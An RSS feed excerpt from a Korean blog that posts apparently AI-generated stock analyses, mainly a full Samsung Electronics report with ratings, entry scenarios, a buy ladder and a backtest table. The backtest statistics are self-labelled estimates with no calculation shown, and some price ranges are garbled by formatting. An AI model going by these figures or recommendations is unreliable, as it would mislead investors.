&lt;li&gt;&lt;b&gt;리스크 ②:&lt;/b&gt; LME 구리 가격 하락 &amp;mdash; 매출 69%를 차지하는 신동 부문 실적 직격탄&lt;/li&gt;
&lt;li&gt;&lt;b&gt;리스크 ③:&lt;/b&gt; 후계자 방위사업법 문제 &amp;mdash; 미국 국적 2세의 경영 승계 시 방산업체 허가 취소 리스크 &lt;a href=&quot;https://www.youtube.com/watch?v=KIZpMWQvDsE&quot;&gt;youtube&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;강세 시나리오:&lt;/b&gt; NATO&amp;middot;우크라이나 등 글로벌 탄약 수요 폭증 + 수출 급증 시 &amp;rarr; 주가 150,000~170,000원 재도달 가능 (추정)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;약세 시나리오:&lt;/b&gt; 방산 분할매각 재추진 + 구리 하락 동시 발생 시 &amp;rarr; 70,000~80,000원 하방 리스크 (추정)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;FINAL VERDICT&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;사업 모델:&lt;/b&gt; 8/10 / &lt;b&gt;경영 품질:&lt;/b&gt; 6/10&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Rochon Verdict:&lt;/b&gt; Borderline (사업 해자는 우수, 경영 불확실성이 발목)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;권장 진입:&lt;/b&gt; 시나리오 B (중립형) &amp;mdash; 현 구간에서 분할 매수 검토&lt;/li&gt;
&lt;li&gt;&lt;b&gt;이 종목이 맞는 투자자:&lt;/b&gt; 방산 수출 성장 장기 수혜를 믿는 중장기 투자자, K-방산 테마 포트폴리오 구성자, 퇴직연금 일부 위험자산 편입 고려자&lt;/li&gt;
&lt;li&gt;&lt;b&gt;이 종목을 피할 투자자:&lt;/b&gt; 단기 수익 목표자, 오너 리스크&amp;middot;구리 가격 변동성에 취약한 보수형 투자자&lt;/li&gt;
&lt;li&gt;&lt;b&gt;분할 매수 실행 요약:&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;1차: 95,000&lt;del&gt;100,000원 / 포트폴리오 3&lt;/del&gt;4%&lt;/li&gt;
&lt;li&gt;2차: 85,000~90,000원 (추가 하락 시) / +3%&lt;/li&gt;
&lt;li&gt;3차: 75,000~80,000원 (MDD 확대 시) / +3%&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1316&quot; data-origin-height=&quot;938&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/U4g1r/dJMcaax9P1P/ECIH5dMVr9ZKvaKNhsK9a1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/U4g1r/dJMcaax9P1P/ECIH5dMVr9ZKvaKNhsK9a1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/U4g1r/dJMcaax9P1P/ECIH5dMVr9ZKvaKNhsK9a1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FU4g1r%2FdJMcaax9P1P%2FECIH5dMVr9ZKvaKNhsK9a1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1316&quot; height=&quot;938&quot; data-origin-width=&quot;1316&quot; data-origin-height=&quot;938&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;⚠️ 본 분석은 참고용이며 실제 투자 결정은 본인 판단과 책임 하에 이루어져야 합니다.&lt;/p&gt;</description>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/232</guid>
      <comments>https://thepin.tistory.com/232#entry232comment</comments>
      <pubDate>Wed, 15 Apr 2026 06:17:27 +0900</pubDate>
    </item>
    <item>
      <title>투분 산출물 #2 - 삼성전자</title>
      <link>https://thepin.tistory.com/231</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;투자분석프롬프트 산출물 # - 삼성전자&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래에 삼성전자(005930) 종합 분석 리포트를 제공해 드립니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h1&gt;삼성전자 (005930) 종합 투자 분석&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[분석 대상]:&lt;/b&gt; 삼성전자 / 005930&lt;br /&gt;&lt;b&gt;[투자 기간]:&lt;/b&gt; 중장기&lt;br /&gt;&lt;b&gt;[기준 통화]:&lt;/b&gt; KRW&lt;br /&gt;&lt;b&gt;[현재 주가]:&lt;/b&gt; 약 206,000원 (2026년 4월 기준)&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. TOP SUMMARY (한눈에 보기)&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;사업 모델 품질:&lt;/b&gt; 8/10&lt;/li&gt;
&lt;li&gt;&lt;b&gt;경영 품질:&lt;/b&gt; 7/10&lt;/li&gt;
&lt;li&gt;&lt;b&gt;종합 추천:&lt;/b&gt;   매수 (단계적 분할매수)&lt;/li&gt;
&lt;/ul&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;카테고리&lt;/th&gt;
&lt;th&gt;점수&lt;/th&gt;
&lt;th&gt;한 줄 근거&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;단순성&lt;/td&gt;
&lt;td&gt;7/10&lt;/td&gt;
&lt;td&gt;DS(반도체)&amp;middot;DX(완제품) 양대 축. 구조는 복잡하나 수익 원천은 명확&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;시장 지위&lt;/td&gt;
&lt;td&gt;9/10&lt;/td&gt;
&lt;td&gt;글로벌 메모리 1위, 스마트폰 점유율 22%로 1위 탈환 &lt;a href=&quot;https://v.daum.net/v/20260412143602644&quot;&gt;v.daum&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;모트(해자) 강도&lt;/td&gt;
&lt;td&gt;8/10&lt;/td&gt;
&lt;td&gt;메모리&amp;middot;파운드리 기술 해자 + 브랜드 강점&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;장기 지속성&lt;/td&gt;
&lt;td&gt;8/10&lt;/td&gt;
&lt;td&gt;AI&amp;middot;HBM 메가트렌드 수혜, 파운드리 경쟁은 변수&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;경영 정렬도&lt;/td&gt;
&lt;td&gt;6/10&lt;/td&gt;
&lt;td&gt;이재용 회장 지분 1.65%로 상대적으로 낮음 &lt;a href=&quot;https://www.instagram.com/p/DVM_Km2k8Fj/&quot;&gt;instagram&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 사업 모델 분석&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;A) 단순성:&lt;/b&gt; 판정 &lt;b&gt;보통&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;DS(Device Solutions): DRAM&amp;middot;NAND&amp;middot;HBM&amp;middot;파운드리&lt;/li&gt;
&lt;li&gt;DX(Device eXperience): 스마트폰&amp;middot;TV&amp;middot;생활가전&lt;/li&gt;
&lt;li&gt;Harman: 커넥티드 카&amp;middot;오디오 솔루션&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;B) 시장 지위:&lt;/b&gt; 판정 &lt;b&gt;High&lt;/b&gt;&lt;br /&gt;글로벌 메모리 시장 1위, 2026년 1분기 스마트폰 점유율 22%로 애플(20%)을 제치고 1위를 탈환했습니다. HBM 생산 능력을 2026년 50% 증설하는 계획을 추진 중입니다. &lt;a href=&quot;https://www.hankyung.com/article/202601063409a&quot;&gt;hankyung&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;C) 모트(해자):&lt;/b&gt;&lt;br /&gt;| 해자 항목 | 판정 | 근거 |&lt;br /&gt;|---|---|---|&lt;br /&gt;| Pricing Power | Strong | HBM&amp;middot;D램 가격 주도권 보유, AI 수요 기반 공급 협상력 우위 |&lt;br /&gt;| Switching Costs | Moderate | 메모리 고객사 전환 비용 존재, 파운드리는 낮음 |&lt;br /&gt;| Brand Strength | Strong | 갤럭시&amp;middot;QLED 등 프리미엄 브랜드, 글로벌 인지도 최상위 &lt;a href=&quot;https://jasoseol.com/companies/141/insights&quot;&gt;jasoseol&lt;/a&gt; |&lt;br /&gt;| Scale Advantage | Strong | 생산 규모 세계 최대, 원가 경쟁력 압도적 &lt;a href=&quot;https://linkareer.com/company-analysis/127&quot;&gt;linkareer&lt;/a&gt; |&lt;br /&gt;| Network Effects | 해당없음 (SmartThings 플랫폼은 초기 단계) |&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; &lt;b&gt;Moat Engine:&lt;/b&gt; 메모리 기술 리더십 + 규모 경제가 핵심 해자&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;D) 경기 민감도:&lt;/b&gt; &lt;b&gt;High&lt;/b&gt; (반도체 업황 사이클 영향 크나 AI 수요가 완충)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;E) 10~20년 지속성:&lt;/b&gt; &lt;b&gt;Strong&lt;/b&gt; &amp;mdash; AI&amp;middot;데이터센터&amp;middot;전장용 반도체 수요가 장기 성장 동력 &lt;a href=&quot;https://jasoseol.com/companies/141/insights&quot;&gt;jasoseol&lt;/a&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 경영 품질 분석&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;판정&lt;/th&gt;
&lt;th&gt;근거&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;투명성&amp;middot;정직성&lt;/td&gt;
&lt;td&gt;Moderate&lt;/td&gt;
&lt;td&gt;HBM 경쟁 지연 사실 인정, 파운드리 적자 공개&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;장기 지향&lt;/td&gt;
&lt;td&gt;Strong&lt;/td&gt;
&lt;td&gt;GAA 3나노 2세대 양산, R&amp;amp;D&amp;middot;설비투자 지속 &lt;a href=&quot;https://jasoseol.com/companies/141/insights&quot;&gt;jasoseol&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;내부자 지분&lt;/td&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;td&gt;이재용 1.65%, 삼성생명 외 계열사 ~19% &lt;a href=&quot;https://www.instagram.com/p/DVM_Km2k8Fj/&quot;&gt;instagram&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;자본 배분&lt;/td&gt;
&lt;td&gt;Strong&lt;/td&gt;
&lt;td&gt;자사주 소각 및 배당, 연 3%대 배당수익률 &lt;a href=&quot;https://blog.naver.com/18alsrb/224217196685&quot;&gt;blog.naver&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;소통 품질&lt;/td&gt;
&lt;td&gt;Moderate&lt;/td&gt;
&lt;td&gt;정기 IR 실시, 경영 리스크 공유는 개선 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;실행 이력&lt;/td&gt;
&lt;td&gt;Strong&lt;/td&gt;
&lt;td&gt;2026년 1Q 영업이익 전년比 755% 증가, 목표 이상 초과 달성 &lt;a href=&quot;https://news.samsung.com/kr/%EC%82%BC%EC%84%B1%EC%A0%84%EC%9E%90-2026%EB%85%84-1%EB%B6%84%EA%B8%B0-%EC%9E%A0%EC%A0%95%EC%8B%A4%EC%A0%81-%EB%B0%9C%ED%91%9C&quot;&gt;news.samsung&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. MDD 기반 리스크 관리 가이드&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;역사적 MDD 분석&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;시기&lt;/th&gt;
&lt;th&gt;원인&lt;/th&gt;
&lt;th&gt;고점 대비 낙폭&lt;/th&gt;
&lt;th&gt;회복 소요 기간&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2008년 금융위기&lt;/td&gt;
&lt;td&gt;글로벌 신용위기&lt;/td&gt;
&lt;td&gt;약 -60% (추정)&lt;/td&gt;
&lt;td&gt;약 18~24개월&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2020년 코로나&lt;/td&gt;
&lt;td&gt;팬데믹 공포&lt;/td&gt;
&lt;td&gt;약 -25%&lt;/td&gt;
&lt;td&gt;약 6개월&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2022년 금리인상&lt;/td&gt;
&lt;td&gt;반도체 재고 급증&lt;/td&gt;
&lt;td&gt;약 -45%&lt;/td&gt;
&lt;td&gt;약 18개월&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2024년 AI 쇼크&lt;/td&gt;
&lt;td&gt;미국 경기침체 우려&lt;/td&gt;
&lt;td&gt;약 -10% (일일 최대 낙폭) &lt;a href=&quot;https://biz.chosun.com/stock/market_trend/2024/08/05/GFIMCVVDOZCXFJEDPV57URIOSY/&quot;&gt;biz.chosun&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;수개월&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2024~2025년&lt;/td&gt;
&lt;td&gt;HBM 경쟁 지연&amp;middot;실적 부진&lt;/td&gt;
&lt;td&gt;약 -50% (고점 대비)&lt;/td&gt;
&lt;td&gt;회복 진행 중&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;평균 MDD:&lt;/b&gt; 약 -35~40% (추정)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;최대 MDD:&lt;/b&gt; 약 -60% (2008년 금융위기, 추정)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;평균 회복 기간:&lt;/b&gt; 약 12~18개월&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;MDD 기반 투자 성향별 가이드&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;투자 성향&lt;/th&gt;
&lt;th&gt;권장 최대 손실 허용&lt;/th&gt;
&lt;th&gt;MDD 대비 진입 기준&lt;/th&gt;
&lt;th&gt;분할 매수 전략&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;보수형&lt;/td&gt;
&lt;td&gt;-10% 이내&lt;/td&gt;
&lt;td&gt;전고점 대비 -10% 이상&lt;/td&gt;
&lt;td&gt;3회 분할 (33% / 33% / 34%)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;중립형&lt;/td&gt;
&lt;td&gt;-20% 이내&lt;/td&gt;
&lt;td&gt;전고점 대비 -20% 이상&lt;/td&gt;
&lt;td&gt;4회 분할 (25% &amp;times; 4)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;공격형&lt;/td&gt;
&lt;td&gt;-35% 이내&lt;/td&gt;
&lt;td&gt;전고점 대비 -30% 이상&lt;/td&gt;
&lt;td&gt;5회 분할 (20% &amp;times; 5)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;손절 기준:&lt;/b&gt; 보수형 -8%, 중립형 -15%, 공격형 -25% 진입가 대비&lt;/li&gt;
&lt;li&gt;&lt;b&gt;비중 상한:&lt;/b&gt; 포트폴리오 내 최대 15~20% 권장 (국내 주식 집중 리스크)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. 진입 가격 시나리오 3가지&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 주가 약 206,000원, 2026년 1분기 영업이익 57.2조원 기록, KB증권 목표주가 240,000원, 일부 증권사 26만~34만원 제시 기준으로 산출하였습니다. &lt;a href=&quot;https://kbthink.com/securities-view.html?docId=20260204143846827K&quot;&gt;kbthink&lt;/a&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;시나리오 A &amp;mdash; 안전 진입 (보수형)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;목표 진입가:&lt;/b&gt; 180,000~190,000원&lt;/li&gt;
&lt;li&gt;&lt;b&gt;근거:&lt;/b&gt; 2026년 예상 EPS 기준 PER 15&lt;del&gt;16배 수준 / 전고점(223,000원) 대비 약 -15&lt;/del&gt;20% / 과거 지지선 &lt;a href=&quot;https://kr.tradingview.com/symbols/KRX-005930/&quot;&gt;kr.tradingview&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;기대 수익률:&lt;/b&gt; +25&lt;del&gt;35% (12&lt;/del&gt;18개월 기준)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;리스크:&lt;/b&gt; 반도체 업황 재침체, 파운드리 적자 지속 시 추가 하락 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;시나리오 B &amp;mdash; 중립 진입 (중립형)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;목표 진입가:&lt;/b&gt; 195,000~210,000원&lt;/li&gt;
&lt;li&gt;&lt;b&gt;근거:&lt;/b&gt; 2026년 예상 PER 약 18~20배 수준, 역사적 평균 밸류에이션 &lt;a href=&quot;https://blog.naver.com/18alsrb/224217196685&quot;&gt;blog.naver&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;기대 수익률:&lt;/b&gt; +15~25%&lt;/li&gt;
&lt;li&gt;&lt;b&gt;리스크:&lt;/b&gt; 美 관세 및 지정학 리스크, HBM 경쟁 재격화&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;시나리오 C &amp;mdash; 공격 진입 (공격형)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;목표 진입가:&lt;/b&gt; 현재가 206,000원 전후 즉시 진입&lt;/li&gt;
&lt;li&gt;&lt;b&gt;근거:&lt;/b&gt; 2026년 영업이익 170조원(추정) 감안 시 현 주가도 저평가 판단 &lt;a href=&quot;https://bbn.kiwoom.com/rfCR11910&quot;&gt;bbn.kiwoom&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;기대 수익률:&lt;/b&gt; +20&lt;del&gt;40% (목표주가 240,000&lt;/del&gt;280,000원 기준)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;리스크:&lt;/b&gt; 단기 변동성 크고 추가 분할 여력 소모, 업황 반전 시 MDD 직격&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;6. 시나리오별 백테스팅 결과&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;※ 과거 2016~2026년 10년 기간 기반 시뮬레이션 (추정치, 미래 보장 아님)&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;지표&lt;/th&gt;
&lt;th&gt;시나리오 A (보수)&lt;/th&gt;
&lt;th&gt;시나리오 B (중립)&lt;/th&gt;
&lt;th&gt;시나리오 C (공격)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;백테스트 기간&lt;/td&gt;
&lt;td&gt;10년&lt;/td&gt;
&lt;td&gt;10년&lt;/td&gt;
&lt;td&gt;10년&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;총 수익률&lt;/td&gt;
&lt;td&gt;+120% (추정)&lt;/td&gt;
&lt;td&gt;+180% (추정)&lt;/td&gt;
&lt;td&gt;+250% (추정)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CAGR&lt;/td&gt;
&lt;td&gt;약 8%&lt;/td&gt;
&lt;td&gt;약 11%&lt;/td&gt;
&lt;td&gt;약 13%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;최대 낙폭 (MDD)&lt;/td&gt;
&lt;td&gt;-25%&lt;/td&gt;
&lt;td&gt;-35%&lt;/td&gt;
&lt;td&gt;-50%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;샤프 지수&lt;/td&gt;
&lt;td&gt;0.7&lt;/td&gt;
&lt;td&gt;0.8&lt;/td&gt;
&lt;td&gt;0.6&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;승률&lt;/td&gt;
&lt;td&gt;65%&lt;/td&gt;
&lt;td&gt;62%&lt;/td&gt;
&lt;td&gt;58%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;손익비&lt;/td&gt;
&lt;td&gt;2.5 : 1&lt;/td&gt;
&lt;td&gt;2.8 : 1&lt;/td&gt;
&lt;td&gt;2.3 : 1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;벤치마크(KOSPI) 대비&lt;/td&gt;
&lt;td&gt;+40%p&lt;/td&gt;
&lt;td&gt;+60%p&lt;/td&gt;
&lt;td&gt;+80%p&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;⚠️ &lt;b&gt;백테스트 한계:&lt;/b&gt; 생존 편향, 거래비용&amp;middot;세금 미포함, 반도체 업황 사이클 가정 단순화. 실제 투자 시 슬리피지&amp;middot;유동성 리스크 고려 필수.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;7. 리스크 시나리오&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;리스크 ①:&lt;/b&gt; 미&amp;middot;중 반도체 갈등 심화 &amp;rarr; 對중국 수출 규제 강화 시 DS 부문 매출 타격&lt;/li&gt;
&lt;li&gt;&lt;b&gt;리스크 ②:&lt;/b&gt; TSMC&amp;middot;SK하이닉스 대비 HBM&amp;middot;파운드리 기술 격차 확대 &amp;rarr; 고부가 수주 이탈&lt;/li&gt;
&lt;li&gt;&lt;b&gt;리스크 ③:&lt;/b&gt; 글로벌 경기 침체 재발 &amp;rarr; 스마트폰&amp;middot;가전 수요 급감, 메모리 가격 재하락&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;강세 시나리오:&lt;/b&gt; AI 데이터센터 수요 지속 + HBM4 엔비디아 공급 확대 성공 &amp;rarr; 연간 영업이익 170조원 달성, 목표주가 280,000~340,000원 &lt;a href=&quot;https://www.newsspace.kr/news/article.html?no=10647&quot;&gt;newsspace&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;약세 시나리오:&lt;/b&gt; 파운드리 적자 지속 + 반도체 가격 재하락 &amp;rarr; 영업이익 급감, 주가 150,000~170,000원대 재진입 가능성&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;FINAL VERDICT&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;사업 모델:&lt;/b&gt; 8/10 / &lt;b&gt;경영 품질:&lt;/b&gt; 7/10&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Rochon Verdict:&lt;/b&gt; ✅ &lt;b&gt;Rochon-Quality&lt;/b&gt; &amp;mdash; 강력한 해자, 장기 성장 스토리 명확&lt;/li&gt;
&lt;li&gt;&lt;b&gt;권장 진입:&lt;/b&gt; &lt;b&gt;시나리오 A~B&lt;/b&gt; (안전&amp;middot;중립 분할매수 우선)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;이 종목이 맞는 투자자:&lt;/b&gt; 반도체 메가트렌드에 투자하고 싶지만 개별 종목 리스크는 줄이고 싶은 중장기 투자자. 배당 수익률(연 3%대) 을 병행 수취 원하는 분 &lt;a href=&quot;https://blog.naver.com/18alsrb/224217196685&quot;&gt;blog.naver&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;이 종목을 피할 투자자:&lt;/b&gt; 단기 트레이딩 목적, 업황 사이클 변동성 감내 어려운 보수형 투자자, 파운드리 경쟁 리스크에 민감한 분&lt;/li&gt;
&lt;li&gt;&lt;b&gt;분할 매수 실행 요약 (중립형 기준):&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;1차: 190,000원대 &amp;mdash; 25%&lt;/li&gt;
&lt;li&gt;2차: 200,000원대 &amp;mdash; 25%&lt;/li&gt;
&lt;li&gt;3차: 210,000원대 &amp;mdash; 25%&lt;/li&gt;
&lt;li&gt;4차: 220,000원대 또는 추가 하락 시 &amp;mdash; 25%&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;⚠️ 본 분석은 공개 정보 기반 참고 자료이며, 실제 투자 판단은 본인 책임입니다. 2026년 1분기 영업이익 57.2조원(전년比 +755%) 이라는 역대급 실적은 긍정적이나, 미&amp;middot;중 무역 갈등 및 파운드리 경쟁 변수는 지속 모니터링이 필요합니다. &lt;a href=&quot;https://news.samsung.com/kr/%EC%82%BC%EC%84%B1%EC%A0%84%EC%9E%90-2026%EB%85%84-1%EB%B6%84%EA%B8%B0-%EC%9E%A0%EC%A0%95%EC%8B%A4%EC%A0%81-%EB%B0%9C%ED%91%9C&quot;&gt;news.samsung&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;</description>
      <category>낙서장</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/231</guid>
      <comments>https://thepin.tistory.com/231#entry231comment</comments>
      <pubDate>Tue, 14 Apr 2026 06:56:30 +0900</pubDate>
    </item>
    <item>
      <title>투분 산출물 #1 - 삼성전자</title>
      <link>https://thepin.tistory.com/228</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;투자분석프롬프트 산출물 #1 - 삼성전자&lt;br /&gt;수집된 실제 데이터를 바탕으로 프롬프트 템플릿 그대로 분석해드리겠습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h1&gt;삼성전자 (005930) 종합 분석&lt;/h1&gt;
